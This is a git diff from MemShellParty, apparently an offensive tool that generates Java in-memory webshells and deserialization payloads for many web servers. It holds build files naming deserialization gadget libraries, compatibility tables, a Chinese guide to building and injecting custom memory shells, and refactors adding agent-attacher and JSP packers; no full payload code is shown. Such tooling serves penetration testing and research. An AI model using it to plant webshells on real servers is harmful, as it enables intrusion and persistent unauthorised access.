}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "Java deserialize payload for MemShellParty"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(platform(project(":memshell-party-bom")))
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation("net.bytebuddy:byte-buddy")
|
||||||
|
implementation("com.caucho:hessian:4.0.66")
|
||||||
|
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||||
|
implementation("commons-collections:commons-collections:3.2.1")
|
||||||
|
implementation("org.apache.commons:commons-collections4:4.0")
|
||||||
|
testImplementation(platform("org.junit:junit-bom"))
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+17
-7
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Filter | Filter | Listener | Listener |
|
| Filter | Filter | Listener | Listener |
|
||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
| ContextValve - Agent | | | |
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Filter | Filter | Servlet | Servlet |
|
| Filter | Filter | Servlet | Servlet |
|
||||||
| Listener | Listener | Filter | Filter |
|
| Listener | Listener | Filter | Filter |
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
| | ServletHandler - Agent (7) | | |
|
| | ServletHandler - Agent (7) | | |
|
||||||
@@ -211,13 +213,21 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
|----------------------|----------------------|------------------------|
|
||||||
| Filter | Filter | Filter | Servlet | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener | Filter | Listener |
|
| Listener | Listener | Listener |
|
||||||
| Valve | Valve | Valve | Listener | Valve |
|
| Valve | Valve | Valve |
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
### MemShell Functionality
|
### MemShell Functionality
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,54 @@
|
|||||||
|
## 如何使用自定义内存马功能
|
||||||
|
|
||||||
|
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||||
|
|
||||||
|
```java
|
||||||
|
Object context = getContext();
|
||||||
|
Object shell = defineClass(getShellBase64Str());
|
||||||
|
|
||||||
|
inject(context, shell);
|
||||||
|
```
|
||||||
|
|
||||||
|
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||||
|
|
||||||
|
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||||
|
|
||||||
|
### 实现参考
|
||||||
|
|
||||||
|
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||||
|
jakarta,无须重复实现。
|
||||||
|
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||||
|
方法上,因此推荐按参考实现一样使用空实现。
|
||||||
|
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||||
|
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||||
|
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||||
|
`javax.crypto.Cipher`。
|
||||||
|
|
||||||
|
| 挂载类型 | 参考实现 |
|
||||||
|
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||||
|
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||||
|
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||||
|
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||||
|
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||||
|
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||||
|
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||||
|
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||||
|
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||||
|
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||||
|
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||||
|
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
|
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
|
|
||||||
|
### 参考步骤
|
||||||
|
|
||||||
|
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||||
|
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||||
|
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||||
|
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||||
|
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||||
@@ -18,7 +18,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>1.0.4</version>
|
<version>1.8.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
|
|||||||
@@ -1,62 +0,0 @@
|
|||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'io.github.reajason'
|
|
||||||
description = "MemShell Generator for Java"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
// 测试使用 JDK17 进行编译与运行
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
javaLauncher = javaToolchains.launcherFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.named('compileTestJava') {
|
|
||||||
javaCompiler = javaToolchains.compilerFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_17
|
|
||||||
targetCompatibility = JavaVersion.VERSION_17
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
finalizedBy jacocoTestReport
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation project(":deserialize")
|
|
||||||
|
|
||||||
implementation project(":memshell")
|
|
||||||
implementation project(":memshell-java8")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
|
||||||
|
|
||||||
implementation 'org.apache.bcel:bcel'
|
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
|
||||||
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
|
||||||
implementation 'org.springframework:spring-webflux'
|
|
||||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
testImplementation 'org.mockito:mockito-junit-jupiter'
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
tasks.compileTestJava {
|
||||||
|
javaCompiler.set(javaToolchains.compilerFor {
|
||||||
|
languageVersion.set(JavaLanguageVersion.of(17))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(platform(project(":memshell-party-bom")))
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation(project(":deserialize"))
|
||||||
|
|
||||||
|
implementation(project(":memshell"))
|
||||||
|
implementation("net.bytebuddy:byte-buddy")
|
||||||
|
implementation("org.ow2.asm:asm-commons")
|
||||||
|
implementation("net.java.dev.jna:jna")
|
||||||
|
implementation("net.java.dev.jna:jna-platform")
|
||||||
|
implementation("javax.servlet:javax.servlet-api")
|
||||||
|
implementation("javax.websocket:javax.websocket-api")
|
||||||
|
implementation("org.apache.bcel:bcel")
|
||||||
|
implementation("commons-io:commons-io")
|
||||||
|
implementation("org.apache.commons:commons-lang3")
|
||||||
|
implementation("com.squareup.okhttp3:okhttp")
|
||||||
|
implementation("ch.qos.logback:logback-classic")
|
||||||
|
implementation("com.fasterxml.jackson.core:jackson-databind")
|
||||||
|
implementation("org.springframework:spring-webmvc")
|
||||||
|
implementation("org.springframework:spring-webflux")
|
||||||
|
implementation("io.projectreactor.netty:reactor-netty-core")
|
||||||
|
testImplementation(platform("org.junit:junit-bom"))
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
testImplementation("org.mockito:mockito-core")
|
||||||
|
testImplementation("org.mockito:mockito-junit-jupiter")
|
||||||
|
}
|
||||||
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
@@ -45,7 +47,7 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
@@ -66,25 +68,4 @@ public class MemShellGenerator {
|
|||||||
.injectorInnerClassBytes(innerClassBytes)
|
.injectorInnerClassBytes(innerClassBytes)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla:
|
|
||||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
|
||||||
case Command:
|
|
||||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
|
||||||
case Behinder:
|
|
||||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
|
||||||
case Suo5:
|
|
||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
|
||||||
case AntSword:
|
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
|
||||||
case NeoreGeorg:
|
|
||||||
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
|
||||||
case Custom:
|
|
||||||
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
|
|
||||||
default:
|
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -19,10 +19,13 @@ import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
|||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||||
@@ -66,7 +69,8 @@ public enum Packers {
|
|||||||
* JSP 打包器
|
* JSP 打包器
|
||||||
*/
|
*/
|
||||||
JSP(new JspPacker()),
|
JSP(new JspPacker()),
|
||||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||||
|
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
JSPX(new JspxPacker(), JspPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -121,6 +125,8 @@ public enum Packers {
|
|||||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||||
|
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
@@ -136,10 +142,6 @@ public enum Packers {
|
|||||||
this.parentPacker = parentPacker;
|
this.parentPacker = parentPacker;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Packer getPacker(Packers packerType) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,51 +2,11 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -120,6 +80,7 @@ public enum Server {
|
|||||||
*/
|
*/
|
||||||
TongWeb6(new TongWeb6Shell()),
|
TongWeb6(new TongWeb6Shell()),
|
||||||
TongWeb7(new TongWeb7Shell()),
|
TongWeb7(new TongWeb7Shell()),
|
||||||
|
TongWeb8(new TongWeb8Shell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 金蝶天燕中间件
|
* 金蝶天燕中间件
|
||||||
@@ -157,23 +118,25 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
.addShellClass(VALVE, GodzillaValve.class)
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
